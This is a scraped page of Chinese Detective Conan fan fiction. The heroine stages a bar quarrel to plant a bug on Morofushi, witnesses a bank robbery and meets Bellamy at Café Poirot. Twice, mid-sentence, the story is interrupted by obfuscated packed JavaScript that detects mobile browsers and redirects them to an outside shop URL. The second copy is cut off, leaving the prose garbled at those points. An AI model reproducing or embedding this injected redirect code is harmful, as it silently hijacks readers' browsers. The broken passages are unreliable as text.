话音未落,她猛地抬手,故意打翻桌上的酒杯。深红的酒液泼了诸伏景光一身,白衬衫瞬间染出大片污渍,顺着西装布料往下淌。诸伏景光“嚯”地站起身,脸色难看到极点——三分演戏,七分是真猝不及防。 “你疯了?”他压低声音,手已经按上腰侧。 鎏汐却往后一靠,抱起胳膊,下巴扬起,声音在爵士乐的间隙里显得格外刺耳:“怎么,还想动手?我告诉你,我‘汐’在这条道上混了这么多年,还没人敢这么耍我!” 整个酒吧的目光都被吸引过来。酒保停下擦杯子的动作,卡座里的客人窃窃私语,二楼那点火星骤然熄灭——赤井秀一掐了烟。 鎏汐要的就是这个。 混乱是最好的障眼法。她一边继续用尖刻的言辞刺激诸伏景光,一边用余光锁定二楼——那道阴影动了。赤井秀一站起身,却没有下楼,只是倚着栏杆,静静地看着这场闹剧。 还不够。 鎏汐突然站起身,抓起手包就往门口走,脚步又急又重,像是气极了。诸伏景光在原地僵了两秒,才“懊恼”地扯了扯湿透的衬衫,抓起外套追上去。两人一前一后冲出酒吧,门上的铜铃撞出一串慌乱的响声。 夜风扑面而来,带着深秋的寒意。鎏汐头也不回地拐进酒吧旁的小巷,高跟鞋踩在积水里,溅起细碎的水花。诸伏景光很快追上,一把扣住她的手腕,将她按在潮湿的砖墙上:“你到底在玩什么?” 巷子很窄,头顶只有一线惨白的月光漏下来。鎏汐喘着气,胸口起伏,脸上那层愤怒的假面瞬间剥落,只剩下冰冷的警惕。她侧过脸,用气声说:“赤井在怀疑我。他怀疑我是组织派来试探你的眼线。” “所以你就演这出?”诸伏景光松开手,看了眼自己狼狈的衬衫,苦笑,“这代价是不是有点大?” “不大怎么骗过他?”鎏汐从手包里抽出纸巾,递给他,“擦擦。你这件衬衫算我赔。” 诸伏景光没接纸巾,只是盯着她。巷子外有车灯闪过,瞬间照亮她的脸——那双眼睛在光下显得格外亮,像淬了冰的玻璃珠,漂亮,却没有温度。他忽然问:“你每次接近一个人,都会这样算计吗?” 鎏汐动作一顿。 她抬起头,月光正好落在她睫毛上,投下一小片颤动的阴影。半晌,她轻轻笑了,那笑容像裹着糖衣的刀:“景光先生,在这条路上活下来的人,谁不算计?” 诸伏景光没说话。他接过纸巾,慢慢擦着衬衫上的酒渍,动作很慢,像在拖延时间。鎏汐知道他在想什么——他在衡量,在猜疑,在试图从她完美的表演里找出一丝破绽。 可她不会给他机会。 “明天晚上,老地方见。”鎏汐转身要走,又回头补了一句,“记得换件衬衫。这件……太显眼了。” 她踩着高跟鞋走出小巷,背影很快没入夜色。诸伏景光站在原地,手里攥着浸透酒液的纸巾,良久,才轻轻叹了口气。 而酒吧二楼的阴影里,赤井秀一重新点燃一支烟。 猩红的光点在他指间明明灭灭。他看着空荡荡的巷口,嘴角极轻微地勾了一下——像猎人看到了有趣的猎物。 刚才那场闹剧,太完美了。 完美得像是精心排练过的戏剧。那个叫“汐”的女人——每一句台词,每一个动作,甚至连打翻酒杯的角度,都像是计算好的。 可越是完美,越让人生疑。 赤井秀一吐出一口烟,白雾在夜色里散开。他想起她转身时眼底那一闪而过的冷光——那不是普通情报贩子该有的眼神。 “看来得盯紧一点了。”他低声自语,将烟按灭在栏杆上,转身消失在楼梯口。 夜色更深了。 鎏汐走在回家的路上,风衣下摆被风吹得翻飞。她摸了摸手包内侧——那里藏着一枚□□,是她刚才趁乱贴在诸伏景光外套里的。 耳麦里传来细微的电流声,接着是脚步声,开关门声,水流声……诸伏景光似乎回家了。 她轻轻呼出一口气。 第一步,成了。 用一场拙劣的争吵引开赤井秀一的注意,再借机埋下窃听器——接下来,她可以更清楚地掌握诸伏景光的动向,也能更快判断组织排查的节点。 只是…… 她停下脚步,抬头看了眼天空。月亮被云层遮住,只透出一点模糊的光晕。 只是每一次演戏,每一次欺骗,都像在心上又划一刀。 萩原研二、松田阵平、现在的诸伏景光……他们看她时的眼神,从警惕到柔软,从猜疑到信任,她都看得清清楚楚。 可她不能停。 距离诸伏景光在原剧情里的死亡节点,还有四十七天。 四十七天里,她必须让他足够“爱”她,爱到愿意听她的提醒,爱到愿意在关键时刻为她改变计划——哪怕那计划关乎他的卧底使命。 手机震动了一下。 鎏汐掏出手机,屏幕亮起,是一条匿名短信:“苏格兰最近动作很多,组织已经注意了。小心。” 没有署名,但她知道是谁——降谷零。 他还是不放心她。 鎏汐删掉短信,将手机放回口袋,继续往前走。 凌晨两点十七分,东京像一头蛰伏的巨兽,在霓虹与阴影的交界处喘息。诸伏景光从“暗夜酒吧”后门的窄巷里闪身而出,黑色西装外套搭在臂弯,领口微敞,露出汗湿的锁骨。他刚完成一次与上线降谷零的紧急接头——组织内部风声鹤唳,连空气里都飘着血腥味的警惕。 巷子尽头的路灯坏了一盏,光线明灭不定,像垂死者的心跳。他靠在潮湿的砖墙上,从口袋里摸出烟盒,指尖却在触及打火机时顿了顿。烟不能抽——卧底的身份不允许他在任何可能被观察到的角落留下 DNA 或习惯性痕迹。他将烟盒塞回口袋,仰头呼出一口白气,疲惫从骨头缝里渗出来,带着金属般沉重的凉意。 连续四十八小时的高压潜伏、情报传递、应对组织内部的试探性审查,让他胃部像被一只无形的手攥紧,痉挛般抽痛。他记不清上一顿正经饭是什么时候——或许是昨天中午在便利店匆忙吞下的冷饭团。卧底生活像一场没有尽头的饥饿行军,不仅是食物,连睡眠、信任、乃至呼吸,都成了限量配给。 就在这时,巷口传来极轻的脚步声。 诸伏景光瞬间绷紧脊背,右手无声滑向腰后枪套,眼神在零点一秒内从疲惫切换到冷锐的狩猎状态。他像一头受惊的黑豹,将自己更深地埋进墙角的阴影,屏息凝神。 脚步声停了。 紧接着,一道纤细的身影被路灯拉长,投在巷口湿漉漉的地面上。那人手里提着什么东西,步履从容,不像是组织里那些带着杀气的脚步声。 “景光先生。”一道女声响起,柔软,带着恰到好处的迟疑,像羽毛拂过紧绷的弦。 是“汐”。 诸伏景光没有立刻回应,也没有放松警惕。他看着她从光晕里走进巷子,米白色的长款风衣裹着单薄的身形,长发松松挽在脑后,脸上没有浓妆,只有路灯在她睫毛上投下的一小片疲惫的阴影。她手里提着一个深蓝色的保温桶,看起来沉甸甸的。 “你怎么在这里?”他开口,声音因为长时间的缄默而有些沙哑,语气里的审视多过疑问。他迅速在脑海里过了一遍可能的监控点——这条巷子不在常规路线上,她不该知道他在这里。 鎏汐像是没听出他话里的尖锐,反而朝他走近两步,在距离他大约一米半的地方停下——一个既不至于引起过度防卫,又能清晰传递关怀的距离。她抬起手里的保温桶,朝他晃了晃,嘴角弯起一个很淡、却莫名让人觉得温暖的弧度。 “我‘感觉’到你今晚可能会在这里。”她用了“感觉”这个暧昧的词,巧妙避开了如何获知他行踪的实质解释。“而且,这个时间,这种地方……我觉得你大概没时间好好吃东西。” 她说着,往前又走了一小步,将保温桶递到他面前。保温桶外壳还带着微微的暖意,在深秋凌晨的寒气里,像一个小小的、触手可及的太阳。 诸伏景光垂眸看着那个保温桶,没有立刻去接。理智在疯狂拉响警报——可疑,太可疑了。一个身份不明的情报贩子,精准出现在他任务结束后的隐蔽地点,还带着“恰逢其时”的关怀。这简直是教科书级别的接近与试探。 可胃部的绞痛,连同骨髓深处漫上来的、几乎要将人吞没的冰冷孤独,正在一点点蚕食他的理性。他看着鎏汐的眼睛——那双眼睛在昏暗的光线下显得格外清澈,没有组织里常见的那种算计或贪婪,只有一种近乎纯粹的……担忧? “里面是什么?”他问,声音依旧紧绷。 “味增汤,还有几个饭团。”鎏汐轻声回答,自己动手拧开了保温桶的盖子。一股温暖浓郁的香气立刻逸散出来,混合着鲣鱼、昆布和一点点生姜的辛香,霸道地驱散了巷子里的阴冷和若有若无的垃圾腐味。那是“家”的味道,是记忆中早已模糊的、母亲在厨房忙碌时飘出的、令人安心的气息。 热气氤氲上升,模糊了鎏汐的脸。她的声音透过雾气传来,更添了几分柔软:“我手艺一般,但汤是热的,饭团是刚捏的,紫菜也还脆着。趁热吃一点,垫垫肚子再回去。卧底的日子……不能连胃也垮了。” 最后那句话,她说得很轻,却像一根细针,精准地刺破了诸伏景光用钢铁意志铸就的某层外壳。他忽然想起,上一次有人用这种语气、为他准备这样一餐简单的热食,是什么时候的事了? 似乎是……很久,很久以前了。 内心激烈的天人交战只持续了几秒钟。最终,疲惫和那缕无法抗拒的温暖香气占了上风。诸伏景光伸出手,接过了保温桶。指尖相触的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036035|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间,他感觉到她手指的微凉,以及保温桶传递过来的、实实在在的热度。 “谢谢。”他低声道谢,声音里的冰层裂开了一道缝隙。他没有立刻吃,而是端着保温桶,靠在墙上,目光却依旧锁定着鎏汐,带着未曾完全卸下的探究。“你为什么这么做?”他问,“我们只是……交易关系。”他刻意用了“交易”这个词,试图划清界限。 鎏汐没有因为他的直白而退缩或慌张。她反而笑了笑,那笑容里带着一点自嘲,一点了然,还有一丝难以言喻的落寞。“交易关系……”她重复了一遍,目光投向巷子外沉沉的夜色,“是啊,这世上好像什么都能拿来交易。情报、性命、信任……甚至感情。”她顿了顿,转回头看他,眼神在昏暗光线下显得格外深邃,“但是景光先生,有些东西,是交易不来的。比如……看到一个人明明很累,却还要强撑着走下去时,心里那点微不足道的心疼。” 她的话像一阵微风,吹动了诸伏景光心底某个积满尘埃的角落。他沉默着,拧开保温桶的第二层。里面整齐码放着三个饭团,捏成标准的三角形,外面裹着油亮酥脆的烤紫菜,依稀能看到里面粉色的鲑鱼和绿色的香松。饭团还带着刚出锅不久的温度,握在手里,暖意顺着掌心一路蔓延到冰冷僵硬的四肢百骸。 他拿起一个,咬了一口。 米饭松软温热,鲑鱼咸鲜适口,中间的梅子带来一丝恰到好处的酸,瞬间激活了麻木的味蕾。味增汤的温度透过保温桶壁熨帖着掌心,醇厚的汤汁滑过食道,像一双温柔的手,轻轻抚平了胃部的痉挛和心头翻涌的寒意。 他吃得很慢,但很专注。一时间,巷子里只剩下他细微的咀嚼声,以及远处偶尔传来的车辆驶过的声音。 鎏汐没有催促,也没有离开。她只是安静地站在一旁,微微侧着身,目光落在巷口,仿佛在替他警戒着可能的风吹草动。这个细微的举动,比任何言语都更具说服力。 一个饭团下肚,热汤也喝了小半,那股驱散寒冷的暖流在身体里扩散开来。诸伏景光紧绷的神经,在这种最原始的身体满足感中,不知不觉松弛了少许。他放下保温桶,用纸巾擦了擦手和嘴角,动作恢复了惯有的优雅从容。 “很好吃。”他看向鎏汐,这次,眼底的审视淡去许多,取而代之的是一种复杂的、混合着感激、困惑和一丝难以察觉的柔软的情绪。“你的手艺……很好。” “合你胃口就好。”鎏汐弯起眼睛,这次的笑容真切了许多,像月光穿透云层,“我看你好像偏爱和食,就做了这个。下次……如果你还想吃,可以提前告诉我。”她的话里留下了“下次”的钩子,自然又不显刻意。 诸伏景光没有立刻接“下次”的话茬。他将保温桶盖子仔细盖好,递还给她。“谢谢。”他又说了一遍,这次语气郑重了许多,“这份心意,我收下了。” 鎏汐接过保温桶,指尖似有若无地擦过他的手背,留下一点微凉的触感。“不用客气。”她轻声说,“我只是……不想看到你倒下去。你还有很重要的事情要做,不是吗?”她意有所指,却又点到即止。 这句话再次触动了诸伏景光。他看着她,夜色中,她的轮廓显得有些模糊,却又异常清晰。这个神秘的女人,似乎总能精准地洞悉他隐藏最深的疲惫和坚持。 “你……”他张了张口,想问什么,却又不知从何问起。问她到底是谁?问她为何如此了解他?问她接近他的真正目的?每一个问题都至关重要,每一个问题都可能打破此刻这脆弱而珍贵的宁静。 最终,他什么也没问。 “时间不早了,”鎏汐似乎看出他的犹豫,主动开口,体贴地结束了这场深夜的“投喂”,“你该回去了。路上小心。”她顿了顿,补充道,“最近风声紧,组织的眼线……可能比平时更多。” 这是一个明确的情报提示。诸伏景光心头一凛,立刻将方才那点柔软的思绪压回心底。他点了点头,神情重新变得冷峻而专注。“我知道。多谢提醒。” 他转身准备离开,走出两步,又停了下来,回头看向依旧站在原地的鎏汐。路灯的光斜斜打在她身上,在她周身勾勒出一圈朦胧的光晕。她提着那个已经空了的保温桶,静静地看着他,眼神平和,无悲无喜,却又仿佛蕴含了千言万语。 “你也小心。”诸伏景光最终只说了这四个字。然后,他不再犹豫,迈开脚步,迅速消失在了巷子另一头的黑暗里。 脚步声彻底远去。 鎏汐在原地又站了几分钟,直到确认他已经走远,周围再无其他动静,她才轻轻呼出一口气,肩膀几不可察地松懈下来。她低头看了看手中的保温桶,指尖摩挲着微凉的外壳。 刚才的每一句话,每一个表情,每一个细微的动作——从出现的时间、地点,到保温桶里食物的选择,再到那些看似真情流露的言语——都是她精心设计过的剧本。她知道他疲惫,知道他饥饿,知道他内心深处对“正常温暖”的渴望。她精准地投喂了食物,也投喂了恰到好处的“理解”与“关怀”。 胃暖了,心防才会出现缝隙。 她成功了。从他接过保温桶,从他沉默地吃下饭团,从他最后那句“你也小心”里,她知道,名为“诸伏景光”的坚冰,已经被她凿开了第一道裂痕。 接下来,就是让这道裂痕逐渐扩大,直到足以让她嵌入,成为他在这黑暗卧底生涯中,下意识想要依靠和信赖的“光”。 鎏汐抬起手,看着自己修剪整齐的指甲。这双手,刚刚递出了温暖的饭食,不久之后,或许也将毫不犹豫地推开已经沉溺其中的人。 她将保温桶抱在怀里,转身,朝着与诸伏景光相反的方向走去。米白色的风衣下摆扫过潮湿的地面,很快也融入了沉沉的夜色。 而巷子里,那股淡淡的、属于家常食物的温暖香气,还在空气中残留了片刻,最终,也被东京夜晚永不消散的冷风,彻底吹散。 32.第 32 章 清晨的米花町被一层薄雾笼罩,街角的樱花树刚绽出零星花苞,空气中还残留着夜雨的潮湿气息。鎏汐提着咖啡厅前一天的营业款,脚步轻快地走向米花町银行——这是她接手波罗后养成的习惯,每周一上午将现金存入银行,再取回零钞备用。 银行大厅比她预想的要热闹。刚过九点,已经排起了七八个人的队伍,大多是附近的商家和主妇。鎏汐取了号码,安静地站在等候区,目光习惯性地扫过四周:三名柜台职员,两名保安,四名正在办理业务的顾客,还有一位坐在休息区看报纸的老人。 一切如常。 直到那三个戴着鸭舌帽的男人推门而入。 走在最前面的男人身材魁梧,帽檐压得很低,只能看见下巴上泛青的胡茬。他身后跟着两人,一个瘦高,一个矮胖,三人皆穿着深灰色的工装外套,手里提着看似普通的黑色工具箱。 但鎏汐的直觉在那一瞬间绷紧了。 金牌执行官的训练让她对细节有种近乎本能的敏感——魁梧男人左手手腕处有一道细长的疤痕,像是旧刀伤;瘦高个走路时右肩微沉,那是长期单肩背重物形成的习惯;矮胖男人看似随意地扫视大厅,目光却精准地掠过每个摄像头的位置。 “下一个,23号请到3号窗口。” 广播声响起,鎏汐低头看了眼自己的号码:26。还有三个人。 三个男人没有取号,径直走向VIP室的方向。保安上前阻拦,魁梧男人从口袋里掏出什么证件晃了晃,保安迟疑片刻,退开了。 不对劲。 鎏汐悄悄移动位置,借着大厅绿植的掩护,让自己能同时观察到普通柜台和VIP室的方向。她的手伸进口袋,摸到了那部二手手机——要不要给安室透发消息?但该说什么?直觉告诉她这三个男人有问题,可证据呢? 就在她犹豫的瞬间,变故突生。 VIP室里传出一声闷响,像是重物倒地的声音。紧接着是女人短促的惊叫,戛然而止。 大厅里大多数人还没反应过来,魁梧男人已经从VIP室冲了出来,手里多了一把漆黑的手枪。瘦高个和矮胖男人紧随其后,三人呈三角站位,枪口对准了大厅里的所有人。 “所有人趴下!手抱头!” 魁梧男人的声音粗哑而凶狠,带着不容置疑的压迫感。大厅瞬间陷入死寂,随后是杯碟落地的碎裂声、孩子的哭声、女人的抽泣——恐慌像病毒一样迅速蔓延。 鎏汐几乎是条件反射地蹲下身,将身体缩在柜台侧面的死角。她的心跳得很快,但头脑异常清醒:三名劫匪,两把可见的手枪,瘦高个的工具箱里很可能还有武器。保安已经被控制,一名职员试图按警报按钮,被矮胖男人一枪托砸中太阳穴,软软地倒了下去。 鲜血在地板上晕开,刺目的红。 “我们只要钱,不伤人。”魁梧男人踢开倒下的职员,走向最近的柜台,“把现金都拿出来,快!” 柜台后的女职员颤抖着手打开抽屉,将一沓沓钞票扔进劫匪扔过来的布袋里。瘦高个负责收集,矮胖男人则持枪监视着趴在地上的顾客们。 鎏汐悄悄调整姿势,让自己的视线能看清整个大厅的布局。她的位置靠近侧门,距离约十五米,中间隔着四排等候椅和两盆大型绿植。如果行动够快,或许能在劫匪反应过来前冲出去—— 但风险太大。她不能暴露自己异于常人的身手,尤其在这么多目击者面前。 “动作快点!”魁梧男人不耐烦地催促,枪口在人群中扫过,“别耍花样,否则——” 他的话没说完,VIP室里突然冲出一个年轻男人,看样子是银行经理,手里举着手机:“我已经报警了!警察马上就到!” “找死!” 枪响了。 不是魁梧男人开的枪,是瘦高个。子弹精准地击中经理的胸口,血花绽放在他白色的衬衫上。男人瞪大眼睛,似乎不敢相信发生了什么,身体缓缓向后倒去,手机从掌心滑落,摔在地板上,屏幕碎裂。 时间仿佛静止了一秒。 然后,真正的恐慌爆发了。 尖叫声、哭喊声、推搡声混作一团,有人想往门外冲,被矮胖男人一枪打在脚边,吓得瘫软在地。魁梧男人骂了一句脏话,显然没打算闹出人命,但事已至此,只能加快速度。 “再乱动下一个就是他!”他吼道,枪口指向一名抱着孩子的母亲。 人群被迫安静下来,只剩下压抑的啜泣。 鎏汐的指甲掐进了掌心。她看着倒在地上的经理,鲜血正从他身下汩汩流出,浸湿了光洁的大理石地面。男人的眼睛还睁着,望向天花板,瞳孔已经散开。 她见过太多死亡,但每一次直面生命的消逝,依然会让她心底发寒。 劫匪的动作明显加快,瘦高个已经收完三个柜台的现金,布袋鼓鼓囊囊。魁梧男人看了眼手表:“撤!” 三人开始向门口移动,矮胖男人倒退着走,枪口始终对着人群。经过鎏汐附近时,他的工具箱磕到了等候椅的金属腿,发出一声轻响。 一枚纽扣大小的东西从工具箱侧面的缝隙掉了下来,滚到鎏汐脚边。 她瞳孔微缩。 那是一枚特制的金属纽扣,边缘有细小的锯齿,中心嵌着微型芯片——她认得这种设计,在原来的世界,某些特殊部队会用这种纽扣作为身份标识或微型信号发射器。 更关键的是,纽扣表面沾着一点深褐色的污渍,凑近能闻到淡淡的、若有若无的汽油味。 劫匪已经冲出门外,引擎咆哮声响起,一辆没有牌照的黑色轿车疾驰而去。 警笛声由远及近。 大厅里的人们终于敢站起来,哭声、喊声、打电话的声音此起彼伏。警察冲进来时,现场已经乱成一团。鉴识人员开始勘察现场,救护车抬走了经理的尸体——他已经没有生命体征。 鎏汐被警方列为目击者之一,需要做笔录。她配合地回答着问题:三个男人,身高体型,衣着特征,持枪,抢走现金大约……她估算了一个数字。 “还有别的细节吗?”做笔录的年轻警员问道,语气疲惫。这已经是米花町本月第三起抢劫案了。 鎏汐犹豫了一秒。 她的手指在口袋里摩挲着那枚纽扣——在警方到来前,她已经将它捡起藏好。汽油味,特殊纽扣,劫匪训练有素的动作……这些线索在她脑中串联。 “他们身上有汽油味。”她最终说道,语气平静,“很淡,但确实有。” 警员抬头看她:“汽油味?你确定?” “我嗅觉比较灵敏。”鎏汐说,“还有,他们开的车虽然没牌照,但引擎声很特别,像是改装过的旧款丰田。” 警员记录了下来,但显然没太重视。一起抢劫杀人案,线索太多又太杂,汽油味可能来自劫匪自己的车,也可能是无意中沾上的。 做完笔录,鎏汐走出银行。阳光刺眼,街道已经拉起了警戒线,围观的人群议论纷纷,记者扛着摄像机试图突破封锁。她站在人群边缘,看着地面上用粉笔画出的尸体轮廓,忽然觉得一阵寒意。 不是恐惧,而是另一种更复杂的感觉——这个世界,比她想象的更危险,也更真实。 “鎏汐小姐?” 熟悉的声音从身后传来。鎏汐转身,看见柯南小跑着过来,毛利兰跟在他身后,两人脸上都带着担忧。 “你们怎么……” “我们刚在附近买东西,听到警笛声就过来了。”毛利兰解释道,看向银行的方向,“发生什么事了?” “抢劫,死了人。”鎏汐简略地说。 柯南的眼神立刻变得锐利起来,他踮起脚尖试图看清现场,但个子太矮,只能看到警察们的腿。他转向鎏汐:“鎏汐姐姐,你看到全过程了吗?” 鎏汐点头。 “劫匪有什么特征吗?比如说话的口音,手上的伤疤,或者……特别的气味?” 这个问题很专业,不像普通小孩会问的。鎏汐看着柯南那双过于早熟的眼睛,沉默片刻,从口袋里掏出那枚纽扣,摊在手心。 “这是其中一个人掉落的。有汽油味。” 柯南接过纽扣,仔细端详,小脸上露出思索的表情。毛利兰疑惑地看着他们:“柯南,你怎么……” “啊,我是好奇嘛!”柯南立刻换上孩子气的笑容,但握着纽扣的手却收紧了,“鎏汐姐姐,这个能借我看看吗?我保证不弄丢!” 鎏汐看着他,忽然想起之前在公园里,她也是用类似的方式,将线索“无意间”推到他脚边。 这个孩子,不简单。 “可以。”她说,“但你要小心。” 柯南用力点头,将纽扣小心地放进口袋。这时,又一辆车停在警戒线外,车门打开,安室透走了下来。 他穿着公安的便服——深色夹克,黑色长裤,表情严肃。与他对视的警员立刻敬礼,显然认识他。安室透简单交代了几句,目光扫过人群,很快锁定了鎏汐。 两人的视线在空中交汇。 安室透的眉头微不可察地皱了一下,他快步走过来,语气里带着罕见的急切:“你没事吧?” “我没事。”鎏汐说,“只是目击者。” 安室透上下打量她,确认她没有受伤,才松了口气。但随即,他的表情又凝重起来:“这起案子不简单。劫匪手法专业,目标明确,而且——”他压低声音,“我们怀疑他们和近期一系列案件有关。” “汽油味。”鎏汐突然说。 安室透一愣:“什么?” “劫匪身上有汽油味,很淡,但确实有。”鎏汐重复道,“还有,他们掉的纽扣是特制的,不像普通衣物上的。” 安室透的眼神变了。他看了眼柯南,小男孩正仰头看着他,眼神里有种心照不宣的默契。 “我知道了。”安室透说,转身对旁边的警员吩咐了几句,然后看向鎏汐,“你先回咖啡厅,这里不安全。” “那你呢?” “我要去追查线索。”安室透说,语气里带着公安警察特有的果决,“汽油味……废弃工厂、修车厂、加油站,都有可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这个词在她脑中浮现时,她并没有感到抗拒。相反,有种奇异的踏实感——就像在黑暗中行走太久的人,终于看见了一点光,即使那光可能引向更危险的深渊。 “我们送你回咖啡厅吧。”毛利兰温柔地说,“你肯定吓坏了。” 鎏汐本想拒绝,但看着女孩真诚的眼神,最终点了点头。 三人走在回波罗咖啡厅的路上,阳光渐渐驱散了晨雾,街道恢复了往日的模样,仿佛刚才的枪声和鲜血只是一场噩梦。但鎏汐知道,那不是梦。 这个世界的光明与黑暗,从来都是交织在一起的。 而她,已经踏入了那片交织的阴影中。 傍晚时分,消息传来:警方在东郊废弃汽车工厂成功抓获三名劫匪,缴获全部赃款。安室透亲自带队,行动干净利落,没有人员伤亡。 鎏汐听到这个消息时,正在咖啡厅的后厨准备晚上的食材。她擦干手,走到窗边,看向窗外渐暗的天色。 街灯一盏盏亮起,暖黄色的光晕笼罩着米花町。远处,警车红蓝闪烁的灯光渐渐远去,一切重归平静。 后门被推开,安室透走了进来。 他已经换回了咖啡厅的制服,白衬衫,黑围裙,金发在灯光下泛着柔和的光泽。但眉眼间的疲惫藏不住,袖口还沾着一点灰尘。 “回来了?”鎏汐转过身,语气平淡。 “嗯。”安室透走到吧台后,给自己倒了杯水,一饮而尽,“案子结了。” “恭喜。” 安室透放下杯子,看着她。他的眼神很深,像是要把她看透。 “你的推测很准。”他说,“工厂里确实有大量汽油残留,劫匪把那里当作临时据点,赃款都藏在废弃的引擎盖下面。” “只是运气好。”鎏汐低头继续切菜。 “不是运气。”安室透走到她身边,靠在料理台边缘,“是能力。观察力,推理力,还有……对危险的直觉。” 他的声音很低,带着某种试探。 鎏汐的刀顿了顿:“你想说什么?” 安室透沉默片刻,忽然笑了:“我想说,谢谢你。如果不是你,我们可能要花更多时间才能找到他们。” 这个道谢很真诚,没有平时的戏谑和调侃。鎏汐抬眼看他,第一次发现,这个男人不伪装的时候,眼神其实很干净。 “不客气。”她说,然后又补充了一句,“我们是同事。” 安室透的笑容扩大了,那种熟悉的、带点狡黠的表情又回来了。 “只是同事?”他凑近一点,压低声音,“我还以为,经过今天,我们至少算是……战友?” 战友。 这个词比同事更重,意味着信任,意味着并肩作战,意味着将后背交给对方。 鎏汐的耳尖微微发热。她没有回答,转身去拿调味料,却因为动作太快,不小心碰倒了装胡椒粉的罐子。 粉末飞扬,两人同时打了个喷嚏。 安室透一边揉鼻子一边笑,鎏汐瞪了他一眼,嘴角却不受控制地扬了起来。 那一刻,厨房里弥漫的不仅是食物的香气,还有一种难以言喻的、温暖而安稳的氛围。 就像两个在黑暗中独行太久的人,终于看见了彼此手中的光。 即使前路依然危险,但至少,不再孤单。 33.第 33 章 波罗咖啡厅的午后总是慵懒的。 阳光透过玻璃窗斜斜地洒进来,在深色木质地板上切割出明亮的光斑。空气中弥漫着现磨咖啡豆的焦香和刚出炉的甜点气息——那是鎏汐新研发的焦糖布丁,表层烤得恰到好处,焦糖在灯光下泛着琥珀般的光泽。 鎏汐站在吧台后,手里拿着抹布,一遍遍擦拭着已经光可鉴人的台面。这是她少有的习惯动作,每当思绪纷乱时,手上的重复劳动能让她暂时平静。 距离银行劫案已经过去三天,但某些细节仍在脑海中反复浮现。那枚特制纽扣,劫匪身上若有若无的汽油味,以及……安室透转身离开时,那个复杂的眼神。 “店长。” 声音从身后传来,带着熟悉的、若有若无的戏谑。 鎏汐没有回头,手上的动作也没停:“现在是工作时间,安室先生。” 安室透绕过吧台,站到她身边,很自然地接过她手里的抹布:“让我来吧,你手腕上有伤,别用力过度。” 他的指尖无意间擦过她的手背,温度比常人略高。鎏汐下意识缩回手,这才注意到自己右手腕上确实有一道浅浅的擦伤——大约是银行劫案时躲避时撞到的,她自己都没在意。 “小伤。”她简短地说。 “小伤也要处理。”安室透从围裙口袋里掏出一个小小的医药包,动作熟练地拿出碘伏棉签,“手伸出来。” 鎏汐皱眉:“不用……” “店长要听员工的话。”安室透打断她,语气里带着不容拒绝的温和,“否则会影响工作效率。” 这个理由荒谬得让她想反驳,但安室透已经握住了她的手腕。他的力道很轻,却有种不容挣脱的坚定。碘伏棉签触碰到伤口时带来轻微的刺痛,鎏汐眉头微蹙,却没有抽回手。 阳光正好落在两人交叠的手上,空气中浮动的尘埃在光柱里缓慢旋转。 “银行的事,谢谢你。”安室透忽然说,声音压得很低,只有两人能听见。 鎏汐抬眼看他:“谢什么?” “你的推测很准。”安室透仔细地贴上创可贴,“废弃工厂确实找到了劫匪,赃款也全部追回。如果没有你提供的线索,他们可能就逃了。” 他说这话时,眼神专注地看着她的伤口,仿佛在说一件再平常不过的事。但鎏汐能听出他语气里的真诚——那种褪去伪装、卸下防备的真实。 “我只是说了该说的。”鎏汐移开视线,看向窗外。 街道上人来人往,有推着婴儿车的母亲,有牵着手的情侣,有放学回家的学生。一切平静得仿佛银行里的枪声和鲜血从未发生过。 “不是所有人都愿意说‘该说的’。”安室透松开她的手,将医药包收好,“很多人选择沉默,选择明哲保身。” “那你呢?”鎏汐突然问。 安室透一愣。 “你为什么会选择……现在这条路?”鎏汐问得很模糊,但两人都明白她在问什么。 安室透沉默了几秒,笑容里带上一丝苦涩:“有些路,不是自己选的。但既然走了,就要走到最后。” 他没有解释“这条路”是什么路,鎏汐也没有追问。有些答案,不说比说更清楚。 就在这时,咖啡厅的门被推开了。 风铃清脆作响,走进来一个女人。 她看起来三十出头,穿着米白色的长款风衣,酒红色的卷发在脑后松松挽起,露出优雅的脖颈线条。脸上戴着茶色墨镜,遮住了大半张脸,却遮不住那种与生俱来的、摄人心魄的气质。 店内客人的目光不约而同地投向门口,连安室透擦拭吧台的动作都微不可察地停顿了一瞬。 女人径直走到靠窗的位置坐下,摘下墨镜,露出一双深邃的眼眸——鎏汐注意到,她的眼睛颜色很特别,像是融化的蜂蜜,温暖中透着难以捉摸的凉意。 “一杯卡布奇诺,谢谢。”女人的声音慵懒而悦耳,像大提琴的低音。 “我去。”安室透轻声说,脸上已经恢复了平日里那种温和又疏离的笑容。 他走到女人桌前,微微欠身:“卡布奇诺,需要加糖吗?” “不用,我喜欢原味。”女人抬起头,目光在安室透脸上停留片刻,嘴角勾起一个意味深长的弧度,“你就是波——啊,抱歉,你就是这里的店员?” 她差点说漏嘴,但改口改得极其自然,仿佛真的只是口误。 安室透笑容不变:“是的,我是安室透。请稍等,咖啡马上就来。” 他转身走向吧台,与鎏汐擦肩而过的瞬间,用极低的声音说了三个字:“贝尔摩德。” 鎏汐的心跳漏了一拍。 贝尔摩德——黑衣组织的高级成员,千面魔女,擅长易容和伪装。在鎏汐有限的认知里,这个女人危险程度不亚于琴酒,甚至更可怕,因为你永远不知道她哪张脸是真的,哪句话是谎言。 而现在,她就坐在窗边,悠闲地打量着咖啡厅的装饰,仿佛真的只是一个普通的顾客。 安室透的动作比平时慢了些,每一步都像是精心计算过的。他制作卡布奇诺时格外专注,拉花拉得近乎完美——一只栩栩如生的天鹅,优雅地浮在奶泡上。 “你的手艺还是这么好。”贝尔摩德接过咖啡时,笑着说,“难怪琴酒总惦记着这家店的便当。” 这话听起来像是闲聊,但鎏汐听出了试探的意味。她不动声色地继续擦拭咖啡机,耳朵却竖了起来。 